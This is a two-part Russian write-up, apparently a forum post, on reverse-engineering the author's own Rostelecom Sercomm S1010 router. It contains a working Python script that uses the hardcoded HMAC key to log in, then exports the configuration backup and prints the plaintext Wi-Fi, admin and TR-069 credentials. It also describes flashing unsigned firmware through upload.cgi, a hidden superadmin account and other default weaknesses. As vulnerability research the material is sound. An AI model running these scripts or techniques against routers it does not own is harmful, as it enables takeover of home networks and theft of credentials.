l logrix
← все статьи

Реверс роутера Ростелеком Sercomm S1010

Утечка конфига, дамп прошивки, разбор rootfs и скрытые логины

скачать BBCode
Спойлер
Всем привет 👋 Сегодня я расскажу, как я зареверсил свой роутер от Ростелекома Sercomm S1010. ДА, я вкурсе, что в интернете про реверс этого роутера есть много статей, но они в основном поверхностные. Я решил сделать все сам и показать что реально можно найти в устройстве, которое стоит у миллионов людей в квартирах
Спойлер
Чтобы вы понимали что я выделяю на скринах:
Красным - Самое главное: пароли, креды, уязвимости, результаты эксплуатации Желтым - второе: логины, URL, версии, служебные данные Синим - детали: захардкоженные строки, флаги шифрования, подписи
Спойлер
Начну с того, что за устройство и как я его нашел в сети
Спойлер
Первым делом я подключился к роутеру и посмотрел что он из себя представляет Идентифицировать устройство можно благодаря MAC адресу и через UPnP описанию: Итог: за брендом Ростелекома скрывается Sercomm S1010. Желтым обведен вендор DWnet, красным - производитель и модель
Спойлер
Вот что показало сканирование портов. Желтым обведены закрытые файрволом порты (SSH и Telnet), красным - которые наружу (7547 TR-069 и 49152 UPnP). Синим подчеркнут MAC устройства
Спойлер
Тут начинается самое интересное. Веб роутера самописный, с багами
Спойлер
Если отправить запрос без браузерных заголовков, сервер отвечает мусором Красным обведен баг (null) 400 Bad Request статус начинается с полного мусора. Желтым - заголовок Prama, эт опечатка Pragma. Синим подчеркнут пустой Server:, тоесть сервер не представляется. Все это признаки старого самописного движка
Спойлер
Схема входа в JS использует HMAC-SHA256 с ключом $1$SERCOMM$, который захардкожен для всех. Авторизация - challenge-response, но эт никак не спасает. Я сделал логин на пайтон и вошел
Красным обведены csrf_token и encryption_key - без них логин не сделать. Желтым успешный ответ login response: "1". Синим подчеркнут session_id, эт куки сессии
Вот код который я написал для автоматизации входа:
code
#!/usr/bin/env python3
import re, sys, hmac, hashlib, http.cookiejar, urllib.request, urllib.parse, os

HOST = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1'
USER = sys.argv[2] if len(sys.argv) > 2 else 'admin'
PASS = sys.argv[3] if len(sys.argv) > 3 else '***'
BASE = f'http://{HOST}'

ARTIFACTS = '/root/router/artifacts'
os.makedirs(ARTIFACTS, exist_ok=True)

cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

UA = ('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 '
      '(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36')
HDRS = {
    'User-Agent': UA,
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.9',
    'Accept-Encoding': 'identity',
    'Connection': 'close',
}

def save(name, content):
    path = os.path.join(ARTIFACTS, name)
    with open(path, 'w', encoding='utf-8', errors='replace') as f:
        f.write(content)
    print(f'[+] saved {name}')

def get(url, save_as=None):
    r = op.open(urllib.request.Request(url, headers=HDRS), timeout=10)
    content = r.read().decode('latin1')
    if save_as:
        save(save_as, content)
    return content

def post(url, data, save_as=None):
    h = dict(HDRS)
    h['Content-Type'] = 'application/x-www-form-urlencoded'
    req = urllib.request.Request(url, data=data.encode(), headers=h)
    r = op.open(req, timeout=10)
    content = r.read().decode('latin1')
    if save_as:
        save(save_as, content)
    return content

html = get(f'{BASE}/login.html', save_as='login.html')
m = re.search(r"csrf_token = '([^']+)'", html)
csrf = m.group(1)
print(f'[+] csrf_token = {csrf}')

j = get(f'{BASE}/data/user_lang.json?csrf_token={csrf}', save_as='user_lang.json')
enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1)
print(f'[+] encryption_key = {enc}')

h1 = hmac.new(b'$1$SERCOMM$', PASS.encode('utf-8'), hashlib.sha256).hexdigest()
pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest()
uname = urllib.parse.quote(urllib.parse.quote(USER, safe=''), safe='')
body = f'LoginName={uname}&LoginPWD={pwd}'
print(f'[+] hash1 = {h1}')
print(f'[+] LoginPWD = {pwd}')

url = f'{BASE}/data/login.json?_={urllib.parse.quote("0.0")}&csrf_token={csrf}'
resp = post(url, body, save_as='login_response.txt')
print(f'[+] login response: {resp!r}')
print('[+] cookies:', [(c.name, c.value) for c in cj])
Что делает скрипт:
1. Скачивает с роутера login.html (GET /login.html), сохраняет его в папку artifacts и вытаскивает из него csrf_token 2. Скачивает с роутера user_lang.json (GET /data/user_lang.json), сохраняет в artifacts и получает encryption_key 3. Считает первый HMAC: hash1 = HMAC_SHA256('$1$SERCOMM$', password) - ключ захардкожен в JS 4. Считает второй HMAC: LoginPWD = HMAC_SHA256(encryption_key, hash1) - итоговый пароль для отправки 5. Логинится на роутер через POST /data/login.json с посчитанным LoginPWD 6. Получает ответ "1" и куку session_id
Скрипт принимает три аргумента: хост, логин, пароль. Если не указать - то будет брать дефолтные значения. Все запросы сохраняются в папку /root/router/artifacts/ для дальнейшего анализа
Спойлер
А теперь то, ради чего все делалось
Спойлер
В JS нашелся флоу бэкапа. Сначала POST, потом скачивание. Файл начинается с 4-байтного префикса и zlib-потока. После распаковки - 27399 байт XML с полным TR-069 DataModel. И там все секреты в открытом виде Чтобы автоматизировать этот процесс от логина до слива секретов, я написал скрипт на пайтон:
code
#!/usr/bin/env python3
import re, hmac, hashlib, http.cookiejar, urllib.request, time, zlib, struct

BASE = 'http://192.168.0.1'
USER = 'admin'
PASS = '***'
UA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36'

H = {
    'User-Agent': UA,
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.9',
    'Accept-Encoding': 'identity',
    'Connection': 'close',
}

cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. login.html -> csrf
h = op.open(urllib.request.Request(BASE + '/login.html', headers=H)).read().decode('latin1')
csrf = re.search(r"csrf_token = '([^']+)'", h).group(1)
print('csrf_token =', csrf)

# 2. encryption_key
j = op.open(urllib.request.Request(
    BASE + f'/data/user_lang.json?csrf_token={csrf}',
    headers={**H, 'Referer': BASE + '/login.html'}
)).read().decode()
enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1)
print('encryption_key =', enc)

# 3. Loginpwd
h1 = hmac.new(b'$1$SERCOMM$', PASS.encode(), hashlib.sha256).hexdigest()
pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest()
print('LoginPWD =', pwd)

# 4. login
body = f'LoginName={USER}&LoginPWD={pwd}'.encode()
req = urllib.request.Request(
    BASE + f'/data/login.json?csrf_token={csrf}',
    data=body,
    headers={**H, 'Content-Type': 'application/x-www-form-urlencoded',
             'Referer': BASE + '/login.html'}
)
r = op.open(req).read()
print('login response =', r)

# 5. используем тот же csrf, что и при логине
print('using same csrf_token =', csrf)

# 6. post для бэкапа
ts = int(time.time() * 1000)
body = b'ConfigurationSaveType=user_computer'
req = urllib.request.Request(
    BASE + f'/data/settings_configuration.json?_={ts}&csrf_token={csrf}',
    data=body,
    headers={**H, 'Content-Type': 'application/x-www-form-urlencoded',
             'Referer': BASE + '/settings_configuration.html'}
)
r = op.open(req).read()
print('POST response =', r)

# 7. get скачивание
ts = int(time.time() * 1000)
req = urllib.request.Request(
    BASE + f'/settings_page/configurationBackup.cfg?_={ts}&csrf_token={csrf}',
    headers={**H, 'Referer': BASE + '/settings_configuration.html'}
)
r = op.open(req).read()
print('downloaded bytes =', len(r))

open('configurationBackup.cfg', 'wb').write(r)

# 8. распоковка
declared = struct.unpack('<I', r[:4])[0]
print('declared length =', declared)
xml = zlib.decompress(r[4:])
open('configurationBackup.xml', 'wb').write(xml)
print('XML size =', len(xml))

# 9. секреты
print()
for line in xml.decode('utf-8', errors='replace').split('\n'):
    if any(x in line for x in ['Password', 'KeyPassphrase', 'ConnectionRequest', 'Username', 'CustomPassword']):
        print(line.strip())
Что делает скрипт:
1. Забирает login.html и вытаскивает из него csrf_token 2. Запрашивает user_lang.json и получает encryption_key 3. Считает LoginPWD через HMAC-SHA256 с захардкоженным ключом $1$SERCOMM$ и encryption_key 4. Логинится на роутер, получает сессионную куку 5. Отправляет POST с ConfigurationSaveType=user_computer - эт генерирует бэкап 6. Скачивает configurationBackup.cfg (2846 байт) 7. Распаковывает zlib-поток и получает XML на 27399 байт 8. Фильтрует строки с секретами и выводит их
На скрине видно все от логина до секретов. Красным обведены login response = "1", POST response = 1, downloaded bytes = 2846 и сами пароли. Желтым - CSRF, encryption_key, URL и логины. Синим - флаги encryption="1" password="1", которые должны были зашифровать поля, но не зашифровали
Спойлер
Креды из бэкапа валидны для эндпоинта. Красным обведен 401 без кредов, желтым - 200 с кредами. Подчеркнуто leaked - эт значит что креды утекли вместе с бэкапом Это значит что устройство стоит на управлении у провайдера, и креды для него утекли вместе с бэкапом
Спойлер
Помимо главной находки, есть еще несколько интересных моментов
Спойлер
Сертификат HTTPS - дефолтный из SDK, RSA-1024/SHA1, self-signed, просрочен. Красным обведены Signature Algorithm: sha1WithRSAEncryption и Public-Key: (1024 bit). Желтым - O=Mini Webservice Ltd (дефолтный вендор). Синим - даты 2016 и 2026, сертификат просрочен TLS-стек устройства сломан - рукопожатие падает с ошибкой. То есть HTTPS на роутере просто простая декорация.
Спойлер
UPnP-демон старый, без аутентификации. Любой хост в LAN может создавать пробросы портов. Красным обведен MiniUPnPd/1.8 - версия 2015 года, куча CVE. Желтым - Ubuntu/bionic, эт захардкоженная строка, не соответствующая реальной ОС
Спойлер
Спойлер
Всего 6 уязвимостей:
High - Plaintext-экспорт всех секретов в бэкапе. Поля с флагом encryption="1" password="1" должны быть зашифрованы, но при экспорте выгружаются в открытом виде High - TR-069 CWMP: Digest MD5 + креды утекают в бэкапе. Порт 7547 открыт, аутентификация на MD5, а логин и пароль лежат в том же бэкапе Medium - Слабый TLS-сертификат RSA-1024/SHA1. Дефолтный сертификат из SDK, self-signed, просрочен, одинаковый на всех устройствах Medium - Управление по HTTP без TLS. Веб-панель работает по HTTP, HTTPS не работает из-за сломанного TLS-стека Medium - Устаревший MiniUPnPd 1.8 + UPnP без аутентификации. Любой хост в LAN может создавать пробросы портов и читать всю WAN-статистику Medium - Слишком хрупкий веб. Однопоточный сервер, рвет соединения на простых запросах, падает от сканеров
Немного покопавшись в своем роутере, я нашел 6 уязвимостей и слив всех паролей в открытом виде. Устройство стоит у миллионов людей дома, и практически никто не знает что внутри. Но это еще не все. Вскором времени выпущу вторую часть она будет довольно длинной. Там будет подробный гайд как выкачать прошивку самому. А потом и сам разбор прошивки: strings, Ghidra, поиск хардкод-кредов, скрытых аккаунтов и бэкдоров уже в бинарниках. Плюс разбор JS веб - как искал эндпоинты, как вытаскивал схему логина, как нашел флоу бэкапа Если есть вопросы - пишите в тему) :amura:
Всех приветствую в данной статье. Буду рад каждому читателю ✌️ Это вторая часть про роутер Ростелеком (а именно Sercomm S1010). Первая часть была про веб и утечку конфига бэкапа (где были все пароли, данные и т.д). В этой части, будет про прошивку, а именно как снять дамп, разобрать rootfs, вскрыть бинарникик (strings + Ghidra + ассемблер) и еще найти скрытые логины и вендорские приколюхи. Уязвимости (обход авторизации, TR-069, root RCE) будут в третьей части
Спойлер
Красный - результат, данные, пути бэкдоров Желтый - имена, разделы, версии, команды Синий - хардкод-строки, соль, флаги, пути
Спойлер
На скрине краткая инфа по сервисам. Видно что без авторизации торчит только UPnP/49152, а 7547/22/23 защищены (ACL/Digest/логином). Дебаг порты 5916 закрыты фаерволом
Спойлер
За брендом Ростелекома скрыт OEM роутер от Sercomm. UPnP сам представляется, MAC и порт OpenWrt это подтверждают Красным выделено 7547 (CWMP) и 49152 (UPnP) наружу. Желтым 22/23 (коотрый файрвол режет). Синим OUI DWnet и интересный скрытый дебаг порт 5916 Красным manufacturer=SERCOMM, modelName=S1010, серийник и айпишник. Без авторизации КРасным RSA-1024/SHA1 и он оказывается просроченным. Желтым дефолтный O=Mini Webservice Ltd из SDK. Сертификат и ключ зашит в образ
Спойлер
Два способа. Первый через рут шелл (как его получить - в третьей части либо через бэкдор из первой части): читаем разделы флеш. Стоковый busybox не умеет использовать команду dd, поэтому юзаем cat. Разметка cat /proc/mtd Красным uid 0, размер дампа, md5. Желтым mtd8 RootFS2. Синим команда. Полный дамп 16 МБ снимается из OpenWrt (/dev/mtd0 там = весь флеш). Загрузчик остается все также открытым Синим U-Boot 1.1.3, красным флаги слотов Sercomm0/Sercomm1, желтым bootcmd=tftp Второй способ (тот спосоБ, которым я воспользовался) штатный upload.cgi не проверяет подпись образа поэтому заливаем OpenWrt в ОЗУ, снимаем все mtd, возвращаем сток переключением флага. Прикол с именем файла (JS проверяет второй элемент результата file_name.split('.'), а не последнее расширение файла) описан в JS:
Красным - `file_name.split('.')`/`tmp_name[1]`, желтым - `upload.cgi` и `'img'`. Распаковка: `unsquashfs -d rootfs_stock rootfs2.bin`
Спойлер
Пароли от CLI/SSH/telnet лежат в /var/cli_pw (tmpfs), а не в /etc/shadow Красным superadmin:...:0:0:Root:/:/bin/sh (uid 0) и cron для него, синим соль $1$SERCOMM$. Желтым обычный admin (uid 1001) Здесь же видно само имя: superadmin в default.xml и запись в /var/cli_pw. Соль хэша фиксированный и одинаковый - одинаковые пароли дают одинаковые хэши, плюс можно генерировать свои записи при записи в файл root/root в /etc/shadow (красным совпадение с openssl passwd), PermitRootLogin yes/PermitEmptyPasswords yes. Это insecure default + статический пароль Инициализация и путь сборки: Красным LISTEN на :::22`/`:::23 при SSHLANAccess=deny. Тоесть deny, ток правило iptables, сам демон живой. Желтым значения ACL Красным FIFO сmd_agent (читается и исполняется через system();) и world-writable сокет bud (0777). Желтым права /tmp/sal/misc.sal: заводские данные, Wi-Fi PSK (красным) и per-IP csrf_token/session_id/login_key (синим). Хранится открыто в /tmp Зашитый WPS PIN (красным) и строки другого оператора (Beeline), синим mtk_beeline_multiroom Постоянный syslog хранит фулл историю логинов. Красным success, желтым failed, синим hostname Дефолты: superadmin, SNMP RW-community 4rEAd&wrItE (красным), заводской DevicePassword и ACS acs.rt.ru (желтым). SNMP - insecure default (выключенный по дефолту)
Спойлер
Многие бинарники не стрипнуты. Классы Scalar/страницы показывают, как устроен веб:
Желтым id полей (ssh_lan, ConfigurationSaveType). Клиентский filterInvalidString обходится простым прямым POST Фрагмент auth_check в mini_httpd: ветка с strstr(url,"activation") (синим) и переход на auth OK (красным). Разбор и использование будет в третьей части sc_cli: команда sh (красным) и пасхалочка I don't hope be executed by shell (синим)
librcl.so насильно зашивает DROP для 5916 и UDP набора (красным). Слушателя для них в сборке нет
upload.cgi: типы image/config/crt (красным). Нету проверки подписи
Тестовый URL в cwmp_stun (желтым) и ляпы mini_httpd: (null) 400 и опечатка Prama (красным)
В третьей будет как из этого получается обход авторизации и root RCE Если есть вопросы/нужны уточнения - пишите) :amura: